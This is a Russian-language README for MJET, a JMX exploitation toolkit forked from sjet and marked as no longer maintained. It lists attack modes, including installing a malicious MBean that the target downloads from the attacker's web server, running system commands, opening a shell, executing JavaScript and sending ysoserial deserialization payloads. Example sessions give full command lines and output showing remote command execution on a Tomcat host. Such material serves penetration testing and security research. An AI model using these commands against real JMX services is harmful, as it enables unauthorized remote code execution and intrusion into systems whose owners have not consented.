MJET от MOGWAI LABS

MOGWAI LABS — инструментарий для эксплуатации JMX

MJET — это форк sjet, который был разработан компанией siberas, но больше не поддерживается активно. MJET поддерживается командой MOGWAI LABS, которая также предоставила большую часть исходной кодовой базы sjet.

MJET позволяет легко эксплуатировать небезопасно сконфигурированные JMX-сервисы. Дополнительную справочную информацию можно найти здесь и здесь.

!!! Важно: этот проект больше не поддерживается

Этот репозиторий больше не поддерживается. Вместо него мы рекомендуем использовать qtcs beanshooter.

Предварительные требования

Jython 2.7
Ysoserial (для эксплуатации уязвимостей десериализации через JMX)
opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (для поддержки альтернативного JMX Message Protocol (JMXMP))

Использование

MJET реализует интерфейс командной строки (с использованием argparse):

jython mjet.py targetHost targetPort MODE password (modeOptions)

Где

targetHost — IP-адрес цели
targetPort — порт, на котором запущен JMX
MODE — режим работы скрипта
modeOptions — параметры выбранного режима

Поддержка аутентификации (если аутентификация JMX включена):

--jmxrole — имя пользователя
--jmxpassword — пароль

Другие необязательные аргументы:

--jmxmp — использовать JMX-MP (требуется загрузка дополнительного JAR)
--localhost_bypass — порт службы для прокси в обходе localhost
--shell — использовать заданную оболочку (shell)
--rmiObjectName — RMI-имя JMX-конечной точки

Режимы и параметры режимов

install — устанавливает полезную нагрузку на текущую цель
- password — пароль, который должен быть установлен после успешной установки
- payload_url — полный URL для загрузки полезной нагрузки
- payload_port — порт для загрузки полезной нагрузки
uninstall — удаляет полезную нагрузку с текущей цели
changepw — изменяет пароль на уже развёрнутой полезной нагрузке
- password — пароль для доступа к установленному MBean
- newpass — новый пароль
command — выполняет команду CMD на targetHost
- password — пароль для доступа к установленному MBean
- CMD — команда для выполнения
shell — запускает простую оболочку на targetHost (с ограничениями java's Runtime.exec())
- password — пароль для доступа к установленному MBean
javascript — выполняет javascript-файл FILENAME на targetHost
- password — пароль для доступа к установленному MBean
- FILENAME — выполняемый javascript
deserialize — отправляет полезную нагрузку ysoserial на цель
- gadget — гаджет, предоставляемый ysoserial, например, CommonsCollections6
- cmd — команда для выполнения
webserver — просто запускает веб-сервер MLET
- payload_url — полный URL для загрузки полезной нагрузки
- payload_port — порт для загрузки полезной нагрузки

Примеры

Установка MBean с полезной нагрузкой на уязвимый JMX-сервис

В следующем примере уязвимый JMX-сервис работает на 10.165.188.23, порт 2222, атакующий имеет IP-адрес 10.165.188.1. JMX-сервис подключится к веб-сервису атакующего, чтобы загрузить JAR-файл с полезной нагрузкой. MJET запустит необходимый веб-сервис на порту 8000.

После успешной установки MBean пароль по умолчанию изменяется на пароль, указанный в командной строке («super_secret»).

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>

Установка с учётными данными JMX (также требует небезопасной конфигурации сервера):

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Выполнение команды 'ls -la' на Linux-цели:

После установки полезной нагрузки мы можем использовать её для выполнения системных команд на цели.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Работа в режиме оболочки

Если вы не хотите загружать Java для каждой команды, вы можете использовать «режим оболочки», чтобы получить ограниченную командную оболочку.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8

mjet

Популярное